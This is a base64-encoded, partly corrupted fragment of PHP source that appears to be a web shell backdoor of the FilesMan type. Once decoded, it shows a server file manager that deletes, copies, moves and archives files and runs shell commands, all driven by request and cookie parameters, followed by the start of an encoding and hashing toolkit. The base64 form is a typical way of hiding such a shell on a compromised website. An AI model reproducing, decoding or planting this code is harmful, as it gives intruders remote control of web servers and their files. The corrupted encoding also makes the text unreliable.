ycmF5KEAkX1BPU1RbJ2YnXSkpCiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRfUE9TVFsnZiddIGFzICRmKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGYgPT0gJy4uJykKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb0aW51ZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmID0gdXJsZGVjb2RlKCRmKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJGYpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRlbGV0ZURpcigkZik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQHVubGluaygkZik7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgJ3Bhc3RlJzoKICAgICAgICAgICAgICAgICAgICBpZiAoJF9DT09LSUVbJ2FjdCddID09ICdjb3B5JykgewogICAgICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiBjb3B5X3Bhc3RlKCRjLCAkcywgJGQpCiAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJGMgLiAkcykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBta2RpcigkZCAuICRzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaCA9IEBvcGVuZGlyKCRjIC4gJHMpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlICgoJGYgPSBAcmVhZGRpcigkaCkpICE9PSBmYWxzZSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCgkZiAhPSAiLiIpIGFuZCAoJGYgIT0gIi4uIikpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb3B5X3Bhc3RlKCRjIC4gJHMgLiAnLycsICRmLCAkZCAuICRzIC4gJy8nKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRjIC4gJHMpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBjb3B5KCRjIC4gJHMsICRkIC4gJHMpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRfQ09PS0lFWydmJ10gYXMgJGYpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb3B5X3Bhc3RlKCRfQ09PS0lFWydjJ10sICRmLCAkR0xPQkFMU1snY3dkJpOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZWlmICgkX0NPT0tJRVsnYWN0J10gPT0gJ21vdmUnKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIG1vdmVfcGFzdGUoJGMsICRzLCAkZCkKICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGlzX2RpcigkYyAuICRzKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1rZGlyKCRkIC4gJHMpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoID0gQG9wZW5kaXIoJGMgLiAkcyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd2hpbGUgKCgkZiA9IEByZWFkZGlyKCRoKSkgIT09IGZhbHNlKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoKCRmICE9ICIuIikgYW5kICgkZiAhPSAiLi4iKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvcHlfcGFzdGUoJGMgLiAkcyAuICcvJywgJGYsICRkIC4gJHMgLiAnLycpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKEBpc19maWxlKCRjIC4gJHMpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBjb3B5KCRjIC4gJHMsICRkIC4gJHMpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRfQ09PS0lFWydmJ10gYXMgJGYpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBAcmVuYW1lKCRfQ09PS0lFWydjJ10gLiAkZiwgJEdMT0JBTFNbJ2N3ZCddIC4gJGYpOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZWlmICgkX0NPT0tJRVsnYWN0J10gPT0gJ3ppcCcpIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGNsYXNzX2V4aXN0cygnWmlwQXJjaGl2ZScpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwID0gbmV3IFppcEFyY2hpdmUoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkemlwLT5vcGVuKCRfUE9TVFsncDInXSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjaGRpcigkX0NPT0tJRVsnYyddKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkX0NPT0tJRVsnZiddIGFzICRmKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZiA9PSAnLi4nKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChAaXNfZmlsZSgkX0NPT0tJRVsnYyddIC4gJGYpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0+YWRkRmlsZSgkX0NPT0tJRVsnYyddIC4gJGYsICRmKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmIChAaXNfZGlyKCRfQ09PS0lFWydjJgLiAkZikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpdGVyYXRvciA9IG5ldyBSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yKG5ldyBSZWN1cnNpdmVEaXJlY3RvcnlJdGVyYXRvcigkZiAuICcvJywgRmlsZXN5c3RlbUl0ZXJhdG9yOjpTS0lQX0RPVFMpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRpdGVyYXRvciBhcyAka2V5ID0+ICR2YWx1ZSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmFkZEZpbGUocmVhbHBhdGgoJGtleSksICRrZXkpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNoZGlyKCRHTE9CQUxTWydjd2QnXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0+Y2xvc2UoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0gZWxzZWlmICgkX0NPT0tJRVsnYWN0JgPT0gJ3VuemlwJykgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoY2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAgPSBuZXcgWmlwQXJjaGl2ZSgpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJF9DT09LSUVbJ2YnXSBhcyAkZikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkemlwLT5vcGVuKCRfQ09PS0lFWydjJ10gLiAkZikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0+ZXh0cmFjdFRvKCRHTE9CQUxTWydjd2QnXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmNsb3NlKCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKCRfQ09PS0lFWydhY3QnXSA9PSAndGFyJykgewogICAgICAgICAgICAgICAgICAgICAgICBjaGRpcigkX0NPT0tJRVsnYyddKTsKICAgICAgICAgICAgICAgICAgICAgICAgJF9DT09LSUVbJ2YnXSA9IGFycmF5XhcCgnZXNjYXBlc2hlbGxhcmcnLCAkX0NPT0tJRVsnZiddKTsKICAgICAgICAgICAgICAgICAgICAgICAgZXgoJ3RhciBjZnp2ICcgLiBlc2NhcGVzaGVsbGFyZygkX1BPU1RbJ3AyJ10pIC4gJyAnIC4gaW1wbG9kZSgnICcsICRfQ09PS0lFWydmJpKTsKICAgICAgICAgICAgICAgICAgICAgICAgY2hkaXIoJEdMT0JBTFNbJ2N3ZCddKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgdW5zZXQoJF9DT09LSUVbJ2YnXSk7CiAgICAgICAgICAgICAgICAgICAgc2V0Y29va2llKCdmJywgJycsIHRpbWUoKSAtIDM2MDApOwogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgcHJvdG90eXBlKCdhY3QnLCAkX1BPU1RbJ3AxJ10pOwogICAgICAgICAgICAgICAgICAgICAgICBwcm90b3R5cGUoJ2YnLCBzZXJpYWxpemUoQCRfUE9TVFsnZiddKSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHByb3RvdHlwZSgnYycsIEAkX1BPU1RbJ2MnXSk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGhhcmRIZWFkZXIoKTsKICAgICAgICBlY2hvICc8aDE+RmlsZSBtYW5hZ2VyPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PHNjcmlwdD5wMV89cDJfPXAzXz0iIjs8L3NjcmlwdD4nOwogICAgICAgICRkaXJDb0ZWID0gaGFyZFNjYW5kaXIoaXNzZXQoJF9QT1NUWydjJpID8gJF9QT1NUWydjJ10gOiAkR0xPQkFMU1snY3dkJpOwogICAgICAgIGlmICgkZGlyQ29udGVudCA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgZWNobyAnQ2FuXCd0IG9wZW4gdGhpcyBmb2xkZXIhJzsKICAgICAgICAgICAgaGFyZEZvb3RlcigpOwogICAgICAgICAgICByZXR1cm47CiAgICAgICAgfQogICAgICAgIGdsb2JhbCAkc29ydDsKICAgICAgICAkc29ydCA9IGFycmF5KCduYW1lJywgMSk7CiAgICAgICAgaWYgKCFlbXB0eSgkX1BPU1RbJ3AxJpKSB7CiAgICAgICAgICAgIGlmIChwcmVnX21hdGNoKCchc18oW0Etel0rKV8oXGR7MX0pIScsICRfUE9TVFsncDEnXSwgJG1hdGNoKSkKICAgICAgICAgICAgICAgICRzb3J0ID0gYXJyYXkoJG1hdGNoWzFdLCAoaWKSAkbWF0Y2hbMl0pOwogICAgICAgIH0KICAgICAgICBlY2hvICI8c2NyaXB0PgogICAgICAgIGZ1bmN0aW9uIHNhKCkgewogICAgICAgICAgICBmb3IoaT0wO2k8ZC5maWxlcy5lbGVtZWcy5sZW5ndGg7aSsrKQogICAgICAgICAgICAgICAgaWYoZC5maWxlcy5lbGVtZWc1tpXS50eXBlID09ICdjaGVja2JveCcpCiAgICAgICAgICAgICAgICAgICAgZC5maWxlcy5lbGVtZWc1tpXS5jaGVja2VkID0gZC5maWxlcy5lbGVtZW50c1swXS5jaGVja2VkOwogICAgICAgIH0KICAgIDwvc2NyaXB0PgogICAgPHRhYmxlIHdpZHRoPScxMDAlJyBjbGFzcz0nbWFpbicgY2VsbHNwYWNpbmc9JzAnIGNlbGxwYWRkaW5nPScyJz4KICAgIDxmb3JtIG5hbWU9ZmlsZXMgbWV0aG9kPXBvc3Q+PHRyPjx0aCB3aWR0aD0nMTNweCc+PGlucHV0IHR5cGU9Y2hlY2tib3ggbjbGljaz0nc2EoKScgY2xhc3M9Y2hrYng+PC90aD48dGg+PGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzTWFuXCIsbnVsbCxcInNfbmFtZV8iIC4gKCRzb3J0WzFdID8gMCA6IDEpIC4gIlwiKSc+TmFtZTwvYT48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19zaXplXyIgLiAoJHNvcnRbMV0gPyAwIDogMSkgLiAiXCIpJz5TaXplPC9hPjwvdGg+PHRoPjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLGbGwsXCJzXvZGlmeV8iIC4gKCRzb3J0WzFdID8gMCA6IDEpIC4gIlwiKSc+TW9kaWZ5PC9hPjwvdGg+PHRoPk93bmVyL0dyb3VwPCaD48dGg+PGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzTWFuXCIsbnVsbCxcInNfcGVybXNfIiAuICgkc29ydFsxXSA/IDAgOiAxKSAuICJcIiknPlBlcm1pc3Npb25zPC9hPjwvdGg+PHRoPkFjdGlvbnM8L3RoPjwvdHI+IjsKICAgICAgICAkZGlycyA9ICRmaWxlcyA9IGFycmF5KCk7CiAgICAgICAgJG4gPSBjb3VudCgkZGlyQ29udGVudCk7CiAgICAgICAgZm9yICgkaSA9IDA7ICRpIDwgJG47ICRpKyspIHsKICAgICAgICAgICAgJGID0gQHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJGRpckNvbnRlbnRbJGldKSk7CiAgICAgICAgICAgICRnciA9IEBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRkaXJDb250ZW50WyRpXSkpOwogICAgICAgICAgICAkdG1wID0gYXJyYXkoCiAgICAgICAgICAgICAgICAnbmFtZScgPT4gJGRpckNvbnRlbnRbJGldLAogICAgICAgICAgICAgICAgJ3BhdGgnID0+ICRHTE9CQUxTWydjd2QnXSAuICRkaXJDb250ZW50WyRpXSwKICAgICAgICAgICAgICAgICdtb2RpZnknID0+IGRhdGUoJ1ktbS1kIEg6aTpzJywgQGZpbGVtdGltZSgkR0xPQkFMU1snY3dkJ10gLiAkZGlyQ29udGVudFskaV0pKSwKICAgICAgICAgICAgICAgICdwZXJtcycgPT4gdmlld1Blcm1zQ29sb3IoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSwKICAgICAgICAgICAgICAgICdzaXplJyA9PiBAZmlsZXNpemUoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSwKICAgICAgICAgICAgICAgICdvd25lcicgPT4gJGWyduYW1lJ10gPyAkb3dbJhbWUnXSA6IEBmaWxlb3duZXIoJGRpckNvbnRlbnRbJGldKSwKICAgICAgICAgICAgICAgICdncm91cCcgPT4gJGdyWyduYW1lJ10gPyAkZ3JbJhbWUnXSA6IEBmaWxlZ3JvdXAoJGRpckNvbnRlbnRbJGldKQogICAgICAgICAgICApOwogICAgICAgICAgICBpZiAoQGlzX2ZpbGUoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSkKICAgICAgICAgICAgICAgICRmaWxlc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+ICdmaWxlJykpOwogICAgICAgICAgICBlbHNlaWYgKEBpc19saW5rKCRHTE9CQUxTWydjd2QnXSAuICRkaXJDb250ZW50WyRpXSkpCiAgICAgICAgICAgICAgICAkZGlyc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+ICdsaW5rJywgJ2xpbmsnID0+IHJlYWRsaW5rKCR0bXBbJ3BhdGgnXSkpKTsKICAgICAgICAgICAgZWxzZWlmIChAaXNfZGlyKCRHTE9CQUxTWydjd2QnXSAuICRkaXJDb0ZW50WyRpXSkgJiYgKCRkaXJDb250ZW50WyRpXSAhPSAiLiIpKQogICAgICAgICAgICAgICAgJGRpcnNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnZGlyJykpOwogICAgICAgIH0KICAgICAgICAkR0xPQkFMU1snc29ydCddID0gJHNvcnQ7CiAgICAgICAgZnVuY3RpbgY21wKCRhLCAkYikKICAgICAgICB7CiAgICAgICAgICAgIGlmICgkR0xPQkFMU1snc29ydCddWzBdICE9ICdzaXplJykKICAgICAgICAgICAgICAgIHJldHVybiBzdHJjbXAoc3RydG9sb3dlcigkYVskR0xPQkFMU1snc29ydCddWzBdXSksIHN0cnRvbG93ZXIoJGJbJEdMT0JBTFNbJ3NvcnQnXVswXV0pKSAqICgkR0xPQkFMU1snc29ydCddWzFdID8gMSA6IC0xKTsKICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgcmV0dXJuICgoJGFbJ3NpemUnXSA8ICRiWydzaXplJ10pID8gLTEgOiAxKSAqICgkR0xPQkFMU1snc29ydCddWzFdID8gMSA6IC0xKTsKICAgICAgICB9CiAgICAgICAgdXNvcnQoJGZpbGVzLCAiY21wIik7CiAgICAgICAgdXNvcnQoJGRpcnMsICJjbXAiKTsKICAgICAgICAkZmlsZXMgPSBhcnJheV9tZXJnZSgkZGlycywgJGZpbGVzKTsKICAgICAgICAkbCA9IDA7CiAgICAgICAgZm9yZWFjaCAoJGZpbGVzIGFzICRmKSB7CiAgICAgICAgICAgIGVjaG8gJzx0cicgLiAoJGwgPyAnIGNsYXNzPWwxJyA6ICcnKSAuICc+PHRkPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9ImZbXSIgdmFsdWU9IicgLiB1cmxlbmNvZGUoJGZbJ25hbWUnXSkgLiAnIiBjbGFzcz1jaGtieD48L3RkPjx0ZD48YSBocmVmPSMgbjbGljaz0iJyAuICgoJGZbJ3R5cGUnXSA9PSAnZmlsZScpID8gJ2coXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycgLiB1cmxlbmNvZGUoJGZbJ25hbWUnXSkgLiAnXCcsIFwndml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Sc+TW92ZTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J2RlbGV0ZSc+RGVsZXRlPC9vcHRpb+IjsKICAgICAgICBpZiAoY2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpCiAgICAgICAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9J3ppcCc+KyB6aXA8L29wdGlvbj48b3B0aW9uIHZhbHVlPSd1bnppcCc+LSB6aXA8L29wdGlvbj4iOwogICAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9J3Rhcic+KyB0YXIuZ3o8L29wdGlvbj4iOwogICAgICAgIGVjaG8gIjwvc2VsZWN0PjwvbGFiZWw+IjsKICAgICAgICBpZiAoIWVtcHR5KCRfQ09PS0lFWydhY3QnXSkgJiYgQGNvdW50KCRfQ09PS0lFWydmJ10pICYmICgoJF9DT09LSUVbJ2FjdCddID09ICd6aXAnKSB8fCAoJF9DT09LSUVbJ2FjdCddID09ICd0YXInKSkpCiAgICAgICAgICAgIGVjaG8gIiZuYnNwO2ZpbGUgbmFtZTogPGlucHV0IHR5cGU9dGV4dCBuYW1lPXAyIHZhbHVlPSdoYXJkXyIgLiBkYXRlKCJZbWRfSGlzIikgLiAiLiIgLiAoJF9DT09LSUVbJ2FjdCddID09ICd6aXAnID8gJ3ppcCcgOiAndGFyLmd6JykgLiAiJz4mbmJzcDsiOwogICAgICAgIGVjaG8gIjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdzdWJtaXQnIHN0eWxlPSdtYXJnaW4tbGVmdDoxMHB4Jz48L3RkPjwvdHI+PC9mb3JtPjwvdGFibGU+PC9kaXY+IjsKICAgICAgICBoYXJkRm9vdGVyKCk7CiAgICB9CiAgICBmdW5jdGlvbiBhY3Rpb25TdHJpbmdUb29scygpCiAgICB7CiAgICAgICAgaWYgKCFmdW5jdGlvbl9leGlzdHMoJ2hleDJiaW4nKSkgewogICAgICAgICAgICBmdW5jdGlvbiBoZXgyYmluKCRwKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICByZXR1cm4gZGVjYmluKGhleGRlYygkcCkpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGlmICghZnVuY3Rpb25fZXhpc3RzKCdiaW5oZXgnKSkgewogICAgICAgICAgICBmdW5jdGlvbiBiaW5oZXgoJHApCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIHJldHVybiBkZWNoZXgoYmluZGVjKCRwKSk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgaWYgKCFmdW5jdGlvbl9leGlzdHMoJ2hleDJhc2NpaScpKSB7CiAgICAgICAgICAgIGZ1bmN0aW9uIGhleDJhc2NpaSgkcCkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgJHIgPSAnJzsKICAgICAgICAgICAgICAgIGZvciAoJGkgPSAwOyAkaSA8IHN0ckxlbigkcCk7ICRpICs9IDIpIHsKICAgICAgICAgICAgICAgICAgICAkciAuPSBjaHIoaGV4ZGVjKCRwWyRpXSAuICRwWyRpICsgMV0pKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIHJldHVybiAkcjsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygnYXNjaWkyaGV4JykpIHsKICAgICAgICAgICAgZnVuY3RpbgYXNjaWkyaGV4KCRwKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAkciA9ICcnOwogICAgICAgICAgICAgICAgZm9yICgkaSA9IDA7ICRpIDwgc3RybGVuKCRwKTsgKyskaSkKICAgICAgICAgICAgICAgICAgICAkciAuPSBzcHJpbnRmKCclMDJYJywgb3JkKCRwWyRpXSkpOwogICAgICAgICAgICAgICAgcmV0dXJuIHN0cnRvdXBwZXIoJHIpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGlmICghZnVuY3Rpb25fZXhpc3RzKCdmdWxsX3VybGVuY29kZScpKSB7CiAgICAgICAgICAgIGZ1bmN0aW9uIGZ1bGxfdXJsZW5jb2RlKCRwKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAkciA9ICcnOwogICAgICAgICAgICAgICAgZm9yICgkaSA9IDA7ICRpIDwgc3RybGVuKCRwKTsgKyskaSkKICAgICAgICAgICAgICAgICAgICAkciAuPSAnJScgLiBkZWNoZXgob3JkKCRwWyRpXSkpOwogICAgICAgICAgICAgICAgcmV0dXJuIHN0cnRvdXBwZXIoJHIpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgICRzdHJpbmdUb29scyA9IGFycmF5KAogICAgICAgICAgICAnQmFzZTY0IGVuY29kZScgPT4gJ2Jhc2U2NF9lbmNvZGUnLAogICAgICAgICAgICAnQmFzZTY0IGRlY29kZScgPT4gJ2Jhc2U2NF9kZWNvZGUnLAogICAgICAgICAgICAnVXJsIGVuY29kZScgPT4gJ3VybGVuY29kZScsCiAgICAgICAgICAgICdVcmwgZGVjb2RlJyA9PiAndXJsZGVjb2RlJywKICAgICAgICAgICAgJ0Z1bGwgdXJsZW5jb2RlJyA9PiAnZnVsbF91cmxlbmNvZGUnLAogICAgICAgICAgICAnbWQ1IGhhc2gnID0+ICdtZDUnLAogICAgICAgICAgICAnc2hhMSBoYXNoJyA9PiAnc2hhMScsCiAgICAgICAgICAgICdjcnlwdCcgPT4gJ2NyeXB0JywKICAgICAgICAgICAgJ0NSQzMyJyA9PiAnY3JjMzInLAogICAgICAgICAgICAnQVNDSUkgdG8gSEVYJyA9PiAnYXNjaWkyaGV4JywKICAgICAgICAgICAgJ0hFWCB0byBBU0NJSScgPT4gJ2hleDJhc2NpaScsCiAgICAgICAgICAgICdIRVggdG8gREVDJyA9PiAnaGV4ZGVjJywKICAgICAgICAgICAgJ0hFWCB0byBCSU4nID0+ICdoZXgyYmluJywKICAgICAgICAgICAgJ0RFQyB0byBIRVgnID0+ICdkZWNoZXgnLAogICAgICAgICAgICAnREVDIHRvIEJJTicgPT4gJ2RlY2JpbicsCiAgICAgICAgICAgICdCSU4gdG8gSEVYJyA9PiAnYmluaGV4JywKICAgICAgICAgICAgJ0JJTiB0byBERUMnID0+ICdiaW5kZWMnLAogICAgICAgICAgICAnU3RyaW5nIHRvIGxvd2VyIGNhc2UnID0+ICdzdHJ0b2xvd2VyJywKICAgICAgICAgICAgJ1N0cmluZyB0byB1cHBlciBjYXNlJyA9PiAnc3RydGcHBlcicsCiAgICAgICAgICAgI